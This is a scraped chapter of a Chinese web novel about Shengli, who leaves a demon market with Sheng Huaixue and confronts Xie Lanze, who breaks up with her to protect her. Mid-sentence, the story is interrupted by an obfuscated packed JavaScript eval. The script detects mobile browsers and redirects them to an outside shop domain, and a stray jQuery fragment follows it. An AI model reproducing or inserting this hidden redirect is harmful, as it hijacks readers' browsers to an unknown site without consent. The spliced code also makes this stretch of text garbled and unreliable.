少女再次顿住了脚步,整个人入定一般死死看着某个方向,盛淮雪垂眸望着她,刚想问问怎么了,盛礼就甩开了他的手,大步往左前方走去。
街道上妖人渐多,流动的小摊车来来往往,盛礼绕开一个又一个的人,避开一辆又一辆的车,脚步越走越快,在一家手工店铺前停住。盛礼径直拂开一整面吊在门口的平安牌,倏然一顿。
还在继续往门口挂平安牌的老板眨了眨眼睛。
“呃……买平安牌吗?”
盛礼胸口起伏,脑中一片茫然。
“小礼,怎么跑得那么快?”
盛淮雪追过来,帮盛礼整理了下跑乱的头发,柔声问:“看见什么了?”
盛礼没说话,只是有些愕然地看着盛淮雪,而后又朝四周仔细地扫了一眼。
一切如常,卖平安牌的老板正有些好奇地望着她。
盛礼缓慢地垂下眼,剧烈的心跳一时难以平复。
她真是眼花了,发疯了。
明明大师兄就在她身边啊。
“小礼?”
盛礼抬眸,青年正一脸关切地看着她。
“你是盛淮雪吧?”盛礼抬手在青年脸上捏来揉去:“你不会是什么妖人变的吧?”
青年忍俊不禁,一把抓住她作乱的手:“这样检查是查不出什么的。”青年往前靠近一步,嗓音暗哑魅惑:“想更深入的检查一下我是不是真人吗?”
“不想。”
盛礼果断拒绝,瞬间什么心情都没有了。这么骚气,一看就是盛淮雪那个斯文败类。
盛淮雪看着少女板起的小脸,莞尔道:“所以你刚才看见什么了?”
“……没什么,是我眼花了。”
“眼花就能随意放开我的手吗?”盛淮雪重新牵起盛礼:“这里这么多人,你就不怕和我走散了?”
“我感觉你对这挺熟的,走散的话也能找到我吧。”
盛礼现在对盛淮雪这个程度的触碰已经不怎么在意了,任由他牵着,就地看起了花里胡哨的平安挂牌:“平安牌是驱妖避邪保平安用的,怎么妖市也有?”
“妖人也有期盼吧。”
“比如呢?”
盛淮雪的目光放远:“家庭美满,真爱永恒?”
盛礼笑了下:“看来妖人们也很可爱嘛,你想来一块做纪念吗?”
“不用。我有小礼画的平安符,可比这有用多了。”盛淮雪揉捏着盛礼的手指:“小礼什么时候有时间,再帮我画几张吧。”
想起上次让人面红耳赤的画符过程,盛礼耳尖发红,冷着脸道:“那么多符还不够你用的吗!”
少女带着隐隐的怒意往前走,盛淮雪笑着陪在她身侧:“多多益善嘛,小礼如果怕画错,我可以监督,就像上次一样。”
“滚!”
盛礼甩开盛淮雪的手,快步走远了些,盛淮雪跟上她的脚步,再次捉住她的手。
“我们这样是不是很像在约会?”
“不是。”
“你和谢兰泽约会过么?”
“……没有。”
“那他这个男朋友也太不称职了。你们交往以来都做过什么?”
“……什么都没做过。”
“我不信,我上次都看见你喂他吃东西了。”
“你有完没完了,问多么多干什么?!”
青年学着盛礼的样子板起脸:“你急了,你心虚了。”
“滚!”
妖人往来如织,青年和少女携手向前。
盛淮雪抬头扫了一眼。
今天天气真好啊。妖市的天气,似乎从来没有这么好过。
*
妖市的出口藏在一棵巨树里,得益于阿慎给的妖牌,盛礼和盛淮雪轻松顺畅的被传送出来,回到了车祸现场。
昂贵的轿车被货车撞出深深的凹陷,周边都被围起来了,盛家的人守在一旁,邢寂也在其中,看起来只有额头伤到了点。
“盛礼!盛淮雪!”
盛礼回头,盛珏顶着一脸沧桑冲了过来。
激愤的心,颤抖的手。盛珏指了指两人,又指了指一旁损毁的车:“来,谁给我解释一下?”
“他。”
盛礼毫不留情的把责任推给盛淮雪:“他受伤了,挺严重的,你带他回医院,路上他会给你解释清楚的。”
盛珏张了张嘴。
盛淮雪:“你要去哪?”
盛礼:“去办没办完的事。”
盛珏动了动唇。
盛淮雪:“我跟你一起去。”
盛礼:“不用,你先回去治伤。”
盛珏发了发声。
盛淮雪:“难道他比我的伤更重要吗?你连这一会都不想等?”
盛礼:“你别闹了,两件事明明可以同时进行的。”
“停!!!”
盛珏挤进两人中间,终于夺得了发言机会:“你们俩当我死了?有没有人把我放在眼里?!”
“二哥,盛淮雪真的受伤了,你先带他去医院吧,我有急事去谢家一趟,剩下的事等我回来再说。”
盛礼说完转身就走,盛珏气急喊道:“你走着去啊?你知道谢家在哪吗!等会!我给你找辆车!”
盛珏拉着脸帮盛礼安排妥当,而后一把揪住想要追上去的盛淮雪:“去哪?”
盛淮雪露出一个无害的表情:“二哥,我担心小礼。”
“我已经派人保护她了,你要不要看看你现在的脸色有多白?跟我去医院!”
盛珏不容置喙的把盛淮雪带走,盛淮雪回眸瞥了邢寂一眼,邢寂点了下头,悄然从看守的队伍里退了出去。
*
盛礼到达谢家时,发现门口多了好几圈暗卫。盛礼径直走过去,随意找了个暗卫礼貌道:“你好,我是盛礼,找谢兰泽有事,麻烦你通传一下。”
暗卫上下看了盛礼一眼,冷漠道:“抱歉,家主说过,不想见盛家的人。”
“为什么?”
暗卫不再回答,并没有强硬的赶走盛礼,但也不让她进去,只如一堵冰冷的墙挡在那里。
盛礼不再发问,直接扯开嗓子喊:“谢兰泽!谢兰泽你在家吗!我是盛礼!我有话要问你!谢兰泽!!”
谢家都是五感灵敏的灵官,盛礼不信她这么喊里面的人会听不见。
但始终没有人出来,甚至连刘特助都没有露面。盛礼自然不会轻易放弃,里面的人不出来,她就一直喊,喊到嗓子都有些嘶哑了也没有停。
“谢兰泽!咳!咳……”
快两个小时了,里面依然没有动静,盛礼按了按自己疼痛发红的喉咙,想着先去买瓶水润润喉再回来喊。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17664386|202028||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚准备离开,身后的大门却传来一声响动。
盛礼回眸,银发青年衣着整齐地走了出来。
青年还是一派高贵冷艳,盛礼径直走过去,张口就问:“你脸色怎么那么难看?”
谢兰泽一顿,他没想到盛礼在喊了两个小时,见到他后的第一句话竟是问这个。
“……没事,有些感冒。”
盛礼深吸一口气:“是你给我发的分手信息?”
“……是。”
“为什么?”
“没有为什么。”青年看着她,理智无情又残酷:“我当时只跟你说要试试,后来发现不合适,分开不是很正常吗?”
“你觉得我们哪里不合适?”
盛礼倒没有死缠烂打的意思,只是不想不明不白的这么揭过去。
谢兰泽语调平静:“你喜欢我吗?”
盛礼怔了怔,说实话,她不知道。但她觉得谢兰泽人挺好的,不然也不会追到这来问个究竟。
谢兰泽早就知道答案,但见少女迟迟没有回答,还是没忍住扯出一抹苦笑:“看吧,你都不喜欢我,那我们为什么要继续交往?”
“可我们本来也不是因为互相喜欢才在一起的呀,感情不是可以培养的吗?”盛礼喘了口气,嗓子有些疼:“谢兰泽,你是不是遇到什么困难了?你说出来,我们可以一起解决的。”
“你狗血剧看多了吧。”漂亮的银发青年抬起下巴:“没有什么别的原因,只是我感觉和你交往这件事,好像对我没什么益处,也挺浪费时间的,所以就不想再继续了,听明白了吗?”
盛礼点了点头:“明白了。”
沉默片刻,少女抬头看向谢兰泽:“所以我们就算结束了?分手了?”
后背和胸口传来一阵阵的钝痛,谢兰泽嗓子有些哑:“是。”
“好吧。”盛礼没什么情绪:“既然事情都说清楚了,我就回去了。”
少女转身想离开,却忽然被人拽住了手腕。
“交往一场,最后抱一下吧。”
看着少女有些困惑的目光,谢兰泽没等她回答,拉着她的手腕将她拢在了怀里。
少女呼吸清浅,身体温热柔软,并没有推开他。
盛礼其实不太会拒绝,她整个人赤诚到了甚至让人心疼的地步。
谢兰泽放纵自己将怀中人搂紧了些,抚着少女后背的手臂向上,衣袖向下褪了些,露出了手臂上狰狞的伤痕。
大概两分钟后,谢兰泽松开了盛礼,一副冷淡矜贵的样子:“再见吧。”
盛礼看了他一眼转身离开,什么话都没说。
少女一直在往前走,一直没回头。谢兰泽面上的冷淡终于忍不住化作痛苦。
刘特助走到谢兰泽身旁,帮他披上外套:“少主,您身上的伤太重了,不宜吹风的。”
盛礼的身影再也看不见了,谢兰泽感觉自己的心也空了一块。
他曾为盛礼奋力挣扎,后背和手臂上的伤都是证据。
但是最后,他还是主动放弃了。
谢正城说了一个秘密。
随着精神领域感知的不断精进,专攻此项的灵官会变得越来越冷漠,乃至完全丧失爱人的能力。
他的母亲就是因为忍受不了丈夫长年的冷漠,最后郁郁而终。
但他希望盛礼能一直赤诚快乐。